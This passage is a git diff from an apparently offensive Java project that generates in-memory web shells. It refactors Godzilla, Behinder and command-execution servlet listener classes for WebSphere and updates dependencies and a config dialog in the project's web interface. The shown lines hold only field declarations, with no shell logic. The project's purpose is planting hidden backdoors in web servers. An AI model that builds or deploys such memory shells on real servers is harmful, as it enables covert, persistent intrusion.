public class GodzillaListener extends ClassLoader implements ServletRequestListener {
- public String key = "{{key}}";
- public String pass = "{{pass}}";
- public String md5 = "{{md5}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String key;
+ public static String pass;
+ public static String md5;
+ public static String headerName;
+ public static String headerValue;
public GodzillaListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java
index ba7d8538..34b0fe29 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
- public String pass = "{{pass}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String pass;
+ public static String headerName;
+ public static String headerValue;
public BehinderListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java
index 736d656f..ed676c41 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
- public String paramName = "{{paramName}}";
+ public static String paramName;
public CommandListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java
index 0f5f3908..94741501 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
- public String key = "{{key}}";
- public String pass = "{{pass}}";
- public String md5 = "{{md5}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String key;
+ public static String pass;
+ public static String md5;
+ public static String headerName;
+ public static String headerValue;
public GodzillaListener() {
}
diff --git a/web/bun.lockb b/web/bun.lockb
index 9b34050a..b59e5fa4 100755
Binary files a/web/bun.lockb and b/web/bun.lockb differ
diff --git a/web/package.json b/web/package.json
index 537b8699..b3a4ff40 100644
--- a/web/package.json
+++ b/web/package.json
@@ -13,8 +13,8 @@
},
"devDependencies": {
"@biomejs/biome": "1.9.4",
- "@tanstack/router-plugin": "^1.92.11",
- "@types/node": "^22.10.2",
+ "@tanstack/router-plugin": "^1.93.0",
+ "@types/node": "^22.10.3",
"@types/react": "^19.0.2",
"@types/react-dom": "^19.0.2",
"@vitejs/plugin-react": "^4.3.4",
@@ -28,6 +28,7 @@
},
"dependencies": {
"@hookform/resolvers": "^3.9.1",
+ "@radix-ui/react-alert-dialog": "^1.1.4",
"@radix-ui/react-checkbox": "^1.1.3",
"@radix-ui/react-dropdown-menu": "^2.1.4",
"@radix-ui/react-label": "^2.1.1",
@@ -39,14 +40,14 @@
"@radix-ui/react-tabs": "^1.1.2",
"@radix-ui/react-tooltip": "^1.1.6",
"@tanstack/react-query": "^5.62.11",
- "@tanstack/react-router": "^1.92.11",
- "@tanstack/router-devtools": "^1.92.11",
- "react-copy-to-clipboard": "^5.1.0",
+ "@tanstack/react-router": "^1.93.0",
+ "@tanstack/router-devtools": "^1.93.0",
"class-variance-authority": "^0.7.1",
"clsx": "^2.1.1",
"lucide-react": "^0.469.0",
"next-themes": "^0.4.4",
"react": "^19.0.0",
+ "react-copy-to-clipboard": "^5.1.0",
"react-dom": "^19.0.0",
"react-hook-form": "^7.54.2",
"react-syntax-highlighter": "^15.6.1",
diff --git a/web/src/components/main-config-card.tsx b/web/src/components/main-config-card.tsx
index 5b9e5e8a..deea9443 100644
--- a/web/src/components/main-config-card.tsx
+++ b/web/src/components/main-config-card.tsx
@@ -1,4 +1,14 @@
import { UrlPatternTip } from "@/components/tips/url-pattern-tip.tsx";
+import {
+ AlertDialog,
+ AlertDialogAction,
+ AlertDialogCancel,
+ AlertDialogContent,
+ AlertDialogDescription,
+ AlertDialogFooter,
+ AlertDialogHeader,
+ AlertDialogTitle,
+} from "@/components/ui/alert-dialog";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
import { FormControl, FormDescription, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx";
import { Input } from "@/components/ui/input.tsx";
@@ -9,6 +19,7 @@ import { Switch } from "@/components/ui/switch.tsx";
import { FormSchema } from "@/types/schema.ts";
import { MainConfig } from "@/types/shell.ts";
import { ServerIcon } from "lucide-react";
+
import { useState } from "react";
import { FormProvider, UseFormReturn } from "react-hook-form";
@@ -33,6 +44,8 @@ export function MainConfigCard({
const [shellToolMap, setShellToolMap] = useState<{ [toolName: string]: string[] }>();
const [shellTools, setShellTools] = useState([]);
const [shellTypes, setShellTypes] = useState([]);
+ const [openAgentConfirm, setOpenAgentConfirm] = useState(false);
+ const [currentShellType, setCurrentShellType] = useState("");
const handleServerChange = (value: string) => {
if (mainConfig) {
@@ -121,7 +134,17 @@ export function MainConfigCard({
render={({ field }) => (
JRE(可选)
-